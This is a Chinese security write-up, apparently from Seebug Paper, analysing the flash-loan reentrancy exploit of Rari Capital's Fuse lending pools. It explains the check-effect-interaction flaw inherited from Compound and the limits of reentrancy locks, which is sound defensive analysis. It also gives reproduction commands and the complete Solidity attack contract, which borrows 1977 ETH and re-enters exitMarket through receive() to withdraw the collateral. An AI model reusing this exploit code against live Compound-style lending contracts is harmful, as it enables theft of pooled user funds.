作者:w2ning
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org

寫在前面的廢話

4月30日, Rari Capital的幾個借貸池遭受閃電貸重入攻擊, 約受損8000萬美金.

漏洞原理與去年我分析過的Cream 第四次被黑類似, 但攻擊方式更加優雅, 故有此文.

漏洞起因: Compound起的壞頭

老牌Defi借貸項目Compound在代碼實現上存在兼容性問題, 沒有遵循check-effect-interaction原則, 簡單用人話翻譯就是, 針對借貸場景,沒有做到先記賬, 再轉賬

https://github.com/compound-finance/compound-protocol/blob/ae4388e780a8d596d97619d9704a931a2752c2bc/contracts/CToken.sol#L786

image

在大部分情況下, 這個邏輯沒問題, 但是如果用戶借貸的資產為帶類似鉤子函數的Token,就會引發重入的風險, 攻擊者可以在記賬之前進行預期之外的惡意操作, 對項目造成大量損失.

當然在Compound開發之初, 可能還沒有check-effect-interaction這個說法, 所以我們不能責備他們太多, 而且他們自己非常清楚代碼的缺陷, 所以在運營上一直避免引入不兼容的加密資產.

然而仿盤們心里并沒有這個嗶數.

以去年的Cream為例:

image

其實去年在分析Cream的時候, 我以為只會是孤例, 因為漏洞誕生于2個項目的錯誤拼接, 觸發條件苛刻, 而且Cream上億美金的損失會給開發者一個長足的教訓.

然而現實遠非我的預料, 3月的Hundred Finance, VOLTAGE FINANCE. 不到一年時間, 仿盤們以各種姿勢, 前赴后繼踏入同一條河流.

新的漏洞觸發姿勢

Rari雖然吸取了前人的教訓,沒有引入不兼容的Token, 但是自己作死, 在CEther合約中使用了call.value來進行ETH的轉賬. 首次在不借助合作伙伴的情況下, 自主獨立創造了漏洞環境.

https://etherscan.io/address/0xd77e28a1b9a9cfe1fc2eee70e391c05d25853cbf#code

image

更優雅的攻擊方式

以往仿盤們的攻擊者, 雖然通過重入借貸了2次,但只能選擇把原始質押資產留在池子里. 所以單次攻擊最大獲利為 70% + 70% - 100% = 40%

而這次攻擊者雖然只有一次借貸, 但是自己原始的質押資產全身而退, 約等于白嫖了屬于是.

image

重入鎖的局限性

nonreentrant可以有效的抵御單一合約在單一transaction中的重入風險. 但是對于由多合約構造的復雜應用, 重入鎖并不能起到足夠的作用. A合約的a函數和B合約的b函數即使都加了重入鎖,攻擊者依然可以通過A合約的a函數去重入B合約的b函數.

仿盤的自我修養

近一年的時間里, 仿盤們或渾然不知, 或修修補補, 有的項目方給幾乎所有核心函數增加nonReentrant防重入鎖, 以為萬事大吉. 但是依然沒有遵循check-effect-interaction原則, 治標不治本, 其實改一下代碼順序就可以....

例如記吃記打的Cream在后續更新版本中, 就更改了轉賬和記賬的順序

https://etherscan.io/address/0x28192abdb1d6079767ab3730051c7f9ded06fe46#code

image

復現方法

git clone https://github.com/W2Ning/Rari_Fei_Vul_Poc.git && cd Rari_Fei_Vul_Poc
forge test -vvv --fork-url $eth --fork-block-number 14684813

image

核心攻擊代碼

    function test() public{

        // 前置準備操作1: 查看 fETH_127 中有多少ETH可以借  
        emit log_named_uint("ETH Balance of fETH_127 before borrowing",address(fETH_127).balance/1e18);

        // 前置準備操作2: 因為forge的測試地址上本身有很多的ETH 
        // 所以先把他們都轉走, 方便查看攻擊所得ETH數量
        payable(address(0)).transfer(address(this).balance);

        emit log_named_uint("ETH Balance after sending to blackHole",address(this).balance);

        // 第一步, 從balancer中通過閃電貸借1500萬的USDC
        // 攻擊者其實借了1.5億, 但其實1500萬就可以
        // 但是balancer的閃電貸是不收手續費的, 所以借多少都無所謂

        address[] memory tokens = new address[](1);

        tokens[0] = address(usdc);

        uint[] memory amounts = new uint[](1);

        amounts[0] =  150000000*10**6;

        vault.flashLoan(address(this), tokens, amounts, '');

    }

    function receiveFlashLoan(
        IERC20[] memory tokens,
        uint256[] memory amounts,
        uint256[] memory feeAmounts,
        bytes memory userData
    )
        external
    {
        // 沒有下面四行會有惡心的warning
        tokens;
        amounts;
        feeAmounts;
        userData;
        // 查看是否成功借到了1500萬的USDC

        uint usdc_balance = usdc.balanceOf(address(this));
        emit log_named_uint("Borrow USDC from balancer",usdc_balance);

        // 第二步, 調用fusdc_127的mint函數, 
        // 完成usdc的質押操作

        usdc.approve(address(fusdc_127), type(uint256).max);

        fusdc_127.accrueInterest();

        fusdc_127.mint(15000000000000);

        uint fETH_Balance = fETH_127.balanceOf(address(this));

        emit log_named_uint("fETH Balance after minting",fETH_Balance);

        usdc_balance = usdc.balanceOf(address(this));

        emit log_named_uint("USDC balance after minting",usdc_balance);

        // 第三步, 調用 Unitroller 的 enterMarkets函數

        address[] memory ctokens = new address[](1);

        ctokens[0] =  address(fusdc_127);

        rari_Comptroller.enterMarkets(ctokens);

        // 第四步, fETH_127 的borrow函數, 借1977個ETH

        fETH_127.borrow(1977 ether);

        emit log_named_uint("ETH Balance of fETH_127_Pool after borrowing",address(fETH_127).balance/1e18);

        emit log_named_uint("ETH Balance of me after borrowing",address(this).balance/1e18);

        usdc_balance = usdc.balanceOf(address(this));

        fusdc_127.approve(address(fusdc_127), type(uint256).max);

        fusdc_127.redeemUnderlying(15000000000000);

        usdc_balance = usdc.balanceOf(address(this));

        emit log_named_uint("USDC balance after borrowing",usdc_balance);

        // 第五步, 把1500萬的USDC還給balancer

        usdc.transfer(address(vault), usdc_balance);

        usdc_balance = usdc.balanceOf(address(this));

        emit log_named_uint("USDC balance after repayying",usdc_balance);
    }


    receive() external payable {

        rari_Comptroller.exitMarket(address(fusdc_127));

    }

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1903/